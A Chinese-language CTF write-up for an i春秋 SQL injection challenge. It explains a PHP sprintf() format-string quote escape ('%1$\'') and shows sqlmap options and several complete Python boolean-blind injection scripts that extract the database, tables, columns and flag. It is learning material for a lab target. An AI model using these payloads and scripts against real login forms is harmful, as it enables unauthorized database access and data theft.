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菜鸡今天又来水题了。

其实这个题，不是很水【狗头】在i春秋平台上看到了一道名为SQli的web题，想到了自己玩过1%的那个靶场也叫sqli-libs，于
是手贱的打开了。咋一看还蛮友善的，其实涉及的知识点还蛮多的（自我感觉，毕竟不会的太多了）

本题涉及的知识有：

waf fuzz测试 sqli注入fuzz字典

spintf()函数格式化字符串，导致单引号逃逸

实践判断sql注入点

sqlmap多参数使用

编写利用脚本

如果还有相关知识再做补充，下面开始本题wp。
首先进入题目环境，是一个登录框，有用户名和密码。
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老规矩 admin 123456 安排一波。
结果提示我们password error！ emm应该是存在用户名，但是密码错误。如果把用户名和密码都换成123456，就会提
示username error！
转移思路，进行sql注入检测。
先抓包

发送到intruder模块，看看是否有waf，就是进行了哪些特殊字符过滤。
这里应该就是waf fuzz测试sql注入fuzz字典这个字典总结的很全面，但是这里仅做一些特殊符号的检测。

把变量全部Clear掉，然后在user处Add一个，然后设置我们要测试的字符

https://blog.csdn.net/qq_45793883/article/details/104728901?ops_request_misc=%2525257B%25252522request%2525255Fid%25252522%2525253A%25252522161028138916780258010290%25252522%2525252C%25252522scm%25252522%2525253A%2525252220140713.130102334..%25252522%2525257D&request_id=161028138916780258010290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-104728901.first_rank_v2_pc_rank_v29&utm_term=waf%25E5%25AD%2597%25E5%2585%25B8


发现%的length不同于其他符号，可能有问题。查看response，发现了sprintf()这个函数，有一个Warning。在大佬的题解中知道
sprintf()这个函数是有漏洞的，然后进入下一阶段，就是理解sprintf函数如何产生漏洞。
以下来自W3school



定义和用法

sprintf() 函数把格式化的字符串写入变量中。
sprintf(format,arg1,arg2,arg++)
arg1、arg2、arg++ 参数将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的。在第一个 % 符号处，插入
arg1，在第二个 % 符号处，插入 arg2，依此类推。

注释：如果 % 符号多于 arg 参数，则您必须使用占位符。占位符位于 % 符号之后，由数字和 “$” 组成。

<?php
$number = 2;
$str = "Shanghai";
$txt = sprintf("There are %u million cars in %s.",$number,$str);
echo $txt;
?>
//There are 2 million cars in Shanghai.
<?php
$number = 123;
$txt = sprintf("带两位小数：%1\$.2f
<br>不带小数：%1\$u",$number);
echo $txt;
?>
//带有两位小数：123.00
//不带小数：123

自己试着测试了一下，正常情况下可以用%数字$u（f、s）来表示实数（浮点数、字符串），并且如果写成%1$\’ 就会把\吃掉，
从而只显示’。
根据大佬的提示，网站结构中可能有这样的代码：

$name = sprintf("username = %s", $username);
$sql = sprintf("select * from table where $name and passwrod = %s",$password)

当我们传入的username中含有%时，在第二个sprintf函数中就会出现too few arguments 的问题，语言是原字符串中每有一个%，
就应该有一个替换参数。

大佬的WP总结如下：



看到sprintf函数时，我们就应该想到php的字符串格式化逃逸漏洞，这个漏洞导致的结果是会将%1$\’ 变为 ’ ，也就是说绕过
了单引号的转换，一般情况下sql语句中的单引号都会被转换为\’ ,这不利于我们进行单引号的闭合，借此漏洞，我们完成对
sql语句的注入.

由于该页面的响应只有两种，没有显位，即没有回显，我们无法直接通过页面的显示来得到数据库内容，那么就只有通过布

尔值盲注了。

布尔值无法用手工完成，要靠脚本或者sqlmap完成。

方法一：用神器sqlmap跑
关于sqlmap进行POST注入方法2021.1.8
中有写道，这里不再赘述。

先查看一下抓包内容，然后用sqlmap跑，这里记录一下两个参数的含义：
Request:
These options can be used to specify how to connect to the target URL

--data=DATA         Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent      Use randomly selected HTTP User-Agent header value
--proxy=PROXY       Use a proxy to connect to the target URL
--tor               Use Tor anonymity network
--check-tor         Check to see if Tor is used properly

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER    Testable parameter(s)
--dbms=DBMS         Force back-end DBMS to provided value

https://blog.csdn.net/weixin_45253216/article/details/112384473?ops_request_misc=%2525257B%25252522request%2525255Fid%25252522%2525253A%25252522161032910716780274197722%25252522%2525252C%25252522scm%25252522%2525253A%2525252220140713.130102334.pc%2525255Fall.%25252522%2525257D&request_id=161032910716780274197722&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-112384473.first_rank_v2_pc_rank_v29&utm_term=Newscenter%20wp


sqlmap中 Request模块用处是可用于指定如何连接到目标URL

–prefix<前缀>和-suffix<后缀> 指定PAYLOAD的前缀和后缀



然后爆数据库，只需要在后面加上 --dbs即可。
（昨天做题的时候，应该是一样的命令，一样的包，跑的那叫一个慢啊，3、4分钟跑出来一个字母，20多分钟才把数据库名跑
出来，可能是因为payload前缀少了\，昨天好像是--prefix=“admin%1’”，少了\，所以有时候payload参数很重要！！）

额，一小时了，环境到期了。。。。

下面都是常规操作了 --tables 报表，爆完表应该有一个user一个flag。
然后爆flag的字段columns 然后dump，即可显示flag。

这里主要想记录一下第二种方法，就是自己怎么写python脚本，学完python后也没咋用过，所以希望在平常有机会就多写写，这
里借鉴了大佬的脚本，要是自己写还真写不出来，希望继续努力，能写出自己的脚本【狗头】

bfengj大佬原文的链接
根据思路，首先是先爆数据库长度，然后数据库名称，然后表长度，表名称，列长度，列名称，列内容长度，列内容。

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for i in range(30):
    key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).text
    if right in str(r):
        print('the length of database is %s' %i)
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#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=3
name=''
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin%1$'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
        data = {'username':key, 'password':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for i in range(30):
    key = "admin%1$' and " + "length((select table_name FROM information_schema.tables WHERE table_schema=0x6374
66 limit 0,1))=" + str(i) + "#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of table is %s' %i)



#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin%1$'"+" and (ascii(substr((select  table_name FROM information_schema.tables WHERE table_sch
ema=0x637466 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'username':key, 'password':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for i in range(30):
    key = "admin%1$' and " + "length((select column_name FROM information_schema.columns WHERE table_name=0x666c
6167 limit 0,1))=" + str(i) + "#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)



#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin%1$'"+" and (ascii(substr((select  column_name FROM information_schema.columns WHERE table_n
ame=0x666c6167 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'username':key, 'password':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for i in range(60):
    key = "admin%1$' and " + "length((select flag FROM flag limit 0,1))=" + str(i) + "#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)



#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=42
name=''
right = 'password error!'
worry = 'username error!'
url = 'http://6ca5f38e90d04c4db0e9806d617dc2e98189a185ca9941fc.changame.ichunqiu.com/'
for j in range(1,length+1):
    for i in dic:
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin%1$'"+" and (ascii(substr((select flag FROM flag limit 0,1),%d,1))="%j+str(ord(i))+")#"
        data = {'username':key, 'password':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=i
            print(name)



结果跑完是这个样子的

脚本有些地方不理解或者可以改进的地方，以后接着更新。

【狗头】
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